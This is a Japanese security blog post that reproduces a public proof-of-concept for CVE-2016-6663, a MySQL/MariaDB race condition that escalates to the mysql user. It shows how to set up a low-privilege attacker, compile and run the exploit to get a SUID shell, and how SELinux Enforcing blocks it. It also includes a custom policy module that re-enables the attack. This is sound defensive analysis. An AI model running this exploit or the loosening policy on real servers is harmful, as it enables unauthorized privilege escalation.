MySQLの脆弱性情報(CVE-2016-6663)のPoCとSELinux
こんにちは。SIOS OSS/セキュリティ エバンジェリストの面です。
今回は、今年の9月に公開されて(色々な意味で)話題になった、MySQLの脆弱性情報(CVE-2016-6662, CVE-2016-6663, CVE-2016-6664)のPoCが公開されていますので、これを検証してどのように脆弱性が利用できるのか、また『SELinuxでも防げない』という情報は本当かどうかを実際に見てみます。
MySQLのCVE(CVE-2016-6662, CVE-2016-6663, CVE-2016-6664)に関する一連の騒動
9/12にMySQLのCVE(CVE-2016-6662)が公開されました。これは「ゼロデイの脆弱性情報」という誤報がInternet上に飛び交ってしまい、非常に注目を浴びつつ、MySQLの専門家などの指摘を受けて脆弱性情報を公開した大本の記述でも対象バージョンの記述が変わったりし、情報が右往左往してしまったために、余計に印象に残っている方もいらっしゃると思います。
現時点で判明した範囲では「その当時に出ていたMySQLの最新バージョンでは修正されていたもの」になり、当初のバージョン情報は誤報だったということがわかっています。しかし、「誤報だ」という情報もあまり公開されていないため、誤解してるユーザも多いと思われます。
今回は、その際に「CVE-2016-6663(後程PoCを公開)」とされていたものの情報が公開されたことを受け、実際にPoCをやってみて、どのような現象が起きるかを見ていきます。
CVE-2016-6663の簡単なまとめ
MariaDB の5.5.52/10.1.18/10.0.28より前のバージョン
MySQL の5.5.51/5.6.32/5.7.14以前のバージョン
には競合状態(Race Condition)の問題が有り、DBに関して(CREATE/INSERT/SELECTが与えられている)低いレベルのアカウントが、その権限をデータベースシステムユーザ(通常は’mysql’)の権限まで上げて、任意のコードを実行することが可能です。
PoC(CVE-2016-6663)
0. 前提条件
参考にした資料は
https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
になります。
まず前提としてMySQLの動作しているサーバ上で
[root@cent7 ~]# adduser attacker6663 [root@cent7 ~]# passwd attacker6663
として、攻撃用の一般ユーザを作成します。
mysql内に攻撃用のテストDB(pocdb6663)を作成します。
[root@cent7 ~]# mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1 --snip-- mysql> create database pocdb6663; Query OK, 1 row affected (0.00 sec)
mysql一般ユーザ(OSと同じ名前でattacker6663@localhost, パスワードは”attack”)を作成します。
mysql> CREATE USER attacker6663@localhost identified by 'attack'; Query OK, 0 rows affected (0.00 sec)
attacker6663@localhostに、pocdb6663に対しての権限を与えます。
mysql> grant select,insert,create,drop on pocdb6663.* to 'attacker6663'@'localhost'; Query OK, 0 rows affected (0.00 sec)
attacker6663@localhostの権限を確認します。確認後、mysqlのCLIからexitします。
mysql> show grants for 'attacker6663'@'localhost'; +---------------------------------------------------------------------------------------------------------------------+ | Grants for attacker6663@localhost | +---------------------------------------------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO 'attacker6663'@'localhost' IDENTIFIED BY PASSWORD '*0DDDDDCCCC' | | GRANT SELECT, INSERT, CREATE, DROP ON `pocdb6663`.* TO 'attacker6663'@'localhost' | +---------------------------------------------------------------------------------------------------------------------+ 2 rows in set (0.00 sec) mysql> exit
念の為、attacker6663(OS)ユーザでmysqlコマンドを用いて、attacker6663@localhost(mysql)ユーザがpocdb6663に対してどういう権限を持っているのかを表示出来ることを確認します。
[attacker6663@cent7 ~]$ mysql -uattacker6663 -hlocalhost pocdb6663 -e 'show grants;' -p Enter password: +-----------------------------------------------------------------------------------+ | Grants for attacker6663@localhost | +-----------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO 'attacker6663'@'localhost' IDENTIFIED BY PASSWORD | | GRANT SELECT, INSERT, CREATE, DROP ON `pocdb6663`.* TO 'attacker6663'@'localhost' | +-----------------------------------------------------------------------------------+
Race Conditionを悪用するサンプルコードをattacker6663ユーザで作成し、コンパイルします。
[attacker6663@cent7 cve-2016-6663]$ gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient [attacker6663@cent7 cve-2016-6663]$ ls mysql-privesc-race mysql-privesc-race.c
attacker6663ユーザで、/var/lib/mysql/mysql以下のディレクトリにアクセスします。”mysql”ユーザ所有のディレクトリになっていて、読み込み権限がないため、attacker6663ユーザでは「許可がありません」になります。
[attacker6663@cent7 cve-2016-6663]$ ls -l /var/lib/mysql -rw-r--r--. 1 mysql mysql 487 11月 30 11:06 RPM_UPGRADE_HISTORY --snip-- drwx--x--x. 2 mysql mysql 4096 11月 30 11:02 mysql srwxrwxrwx. 1 mysql mysql 0 12月 20 23:47 mysql.sock drwx------. 2 mysql mysql 4096 12月 21 00:13 pocdb6663
1. SELinuxをPermissiveにした状態でPoCを行う
まずは、SELinuxをPermissiveにした状態で、Race Conditionを悪用するサンプルコードが動作するとどうなるかを確認します。
[root@cent7 ~]# setenforce 0 [root@cent7 ~]# getenforce Permissive
attacker6663ユーザで、コンパイルしたサンプルコードを実行します。しばらく待った後に[mysql_suid_shell.MYD-4.2$ ]というshellが開けば成功です。
[attacker6663@cent7 cve-2016-6663]$ ./mysql-privesc-race attacker6663 [attacker6663のパスワード] localhost pocdb6663 MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski http://legalhackers.com -- snip -- [+] Entering the race loop... Hang in there... ->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> [+] Bingo! Race won (took 17274 tries) ! Check out the mysql SUID shell: -rwsrwxrwx. 1 mysql attacker6663 960376 12月 21 00:06 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD [+] Spawning the mysql SUID shell now... Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :) mysql_suid_shell.MYD-4.2$
“id”コマンドで確認すると、ユーザID: mysqlでshellが開いていることがわかります。このアカウントで、ファイルをmysqlユーザで作成したり、確認・改竄したりすることが出来ます。
mysql_suid_shell.MYD-4.2$ id uid=1003(attacker6663) gid=1003(attacker6663) euid=27(mysql) groups=1003(attacker6663) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 mysql_suid_shell.MYD-4.2$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 mysql_suid_shell.MYD-4.2$ touch /tmp/test_by_attacker6663 mysql_suid_shell.MYD-4.2$ ls -l /tmp/test_by_attacker6663 -rw-rw-rw-. 1 mysql attacker6663 0 12月 21 03:42 /tmp/test_by_attacker6663 mysql_suid_shell.MYD-4.2$ ls -l /var/lib/mysql/mysql/user.* -rw-------. 1 mysql mysql 1364 12月 21 00:04 /var/lib/mysql/mysql/user.MYD -rw-------. 1 mysql mysql 2048 12月 21 00:04 /var/lib/mysql/mysql/user.MYI -rw-------. 1 mysql mysql 10684 11月 30 11:02 /var/lib/mysql/mysql/user.frm
2. SELinuxをEnforcing(有効)にした状態でPoCを行う
次にSELinuxをEnforcingにした状態で、Race Conditionを悪用するサンプルコードが動作するとどうなるかを確認します。
[root@cent7 ~]# setenforce 1 [root@cent7 ~]# getenforce Enforcing
前節と同様に、attacker6663ユーザでサンプルコードを実行します。出力されるログ上では、exploit用のテンポラリディレクトリ”/tmp/mysql_privesc_exploit”の作成には成功しますが、中にテーブル”exploit_table”を作成しようとしている時に失敗しているようです。
[attacker6663@cent7 cve-2016-6663]$ ./mysql-privesc-race attacker6663 [attacker6663のパスワード] localhost pocdb6663 MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / CVE-2016-5616 For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski http://legalhackers.com [+] Starting the exploit as: uid=1003(attacker6663) gid=1003(attacker6663) groups=1003(attacker6663) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [+] Connecting to the database `pocdb6663` as attacker6663@localhost [+] Creating exploit temp directory /tmp/mysql_privesc_exploit [+] Creating mysql tables DROP TABLE IF EXISTS exploit_table DROP TABLE IF EXISTS mysql_suid_shell CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' Can't create/write to file '/tmp/mysql_privesc_exploit/exploit_table.MYD' (Errcode: 13 - Permission denied)
SELinuxでどのように拒否されたかを見るため、/var/log/audit/audit.logを確認します。mysqld_t(mysqldプロセスのドメイン)がuser_tmp_tラベルのディレクトリ(/tmp/mysql_privesc_exploit)に書き込みしようとしたため拒否された旨が記載されています。
type=AVC msg=audit(1482260071.030:968): avc: denied { write } for pid=3060 comm="mysqld" name="mysql_privesc_exploit" dev="dm-0" ino=1401032 scontext=system_u:system_r:mysqld_t:s0 tcontext=unconfined_u:object_r:user_tmp_t:s0 tclass=dir type=SYSCALL msg=audit(1482260071.030:968): arch=c000003e syscall=2 success=no exit=-13 a0=7f106915bac0 a1=242 a2=1b0 a3=79 items=0 ppid=1531 pid=3060 auid=4294967295 uid=27 gid=27 euid=27 suid=27 fsuid=27 egid=27 sgid=27 fsgid=27 tty=(none) ses=4294967295 comm="mysqld" exe="/usr/sbin/mysqld" subj=system_u:system_r:mysqld_t:s0 key=(null)
CVE-2016-6663のExploitをSELinuxで防げたことの考察
Race Conditionを悪用するサンプルコードです。詳しい内容は直接ソースコードをご覧になったほうが早いですが
mysql> REPAIR TABLE `poctab1`; +----------------+--------+----------+----------+ | Table | Op | Msg_type | Msg_text | +----------------+--------+----------+----------+ | testdb.poctab1 | repair | status | OK | +----------------+--------+----------+----------+
とやった時のRece Conditionを悪用します。この際
攻撃者のアカウント(attacker6663)で書き込みできる所を作業用ディレクトリ(tmp)として
exploitableな作業用テーブルを作成し(既にある場合は削除してから作成)
その作業用テーブルを0660にする
というのを繰り返し行っていますが、SELinuxで防がれたのは、(2)の所になります。SELinuxを有効にした場合には、/tmpなど一般ユーザが書き込めるテンポラリディレクトリのラベルは”user_tmp_t”などが付与されますが、これにはmysqld_tドメインが書き込み出来ないためです。
そのため、mysqld_tが書き込みできて、かつ一般ユーザが書き込みできるディレクトリを用いれば攻撃は成功しそうです。試しに
policy_module(mysqld_allow,1.0.0) require { type mysqld_t; type user_tmp_t; }; #============= mysqld_t ============== allow mysqld_t user_tmp_t:dir write; allow mysqld_t user_tmp_t:file unlink; allow mysqld_t user_tmp_t:lnk_file { read rename };
のようにmysqld_tにuser_tmp_tディレクトリ・ファイルへの書き込み権限を加えると、SELinuxが有効(Enforcing)の状態でも攻撃が成功します。
逆に言えば、mysqld_tと一般ユーザの両方が書き込みできるディレクトリ・ファイルが無ければ、この攻撃は成功しないということになります。
まとめ
今回は、CVE-2016-6663のExploitを実行した際に何が起きるかを確認し、SELinuxを用いてどのように防げるのかを確認しました。
結論だけ言うと「攻撃手法自体はSELinuxで防げるものでは無いが、ディレクトリ・ファイルを媒介にしている攻撃である限りは、特殊な設定(MySQLでも一般ユーザでも書き込めるようなテンポラリディレクトリを作る)を行っていなければ攻撃の途中で防げる」というものになります。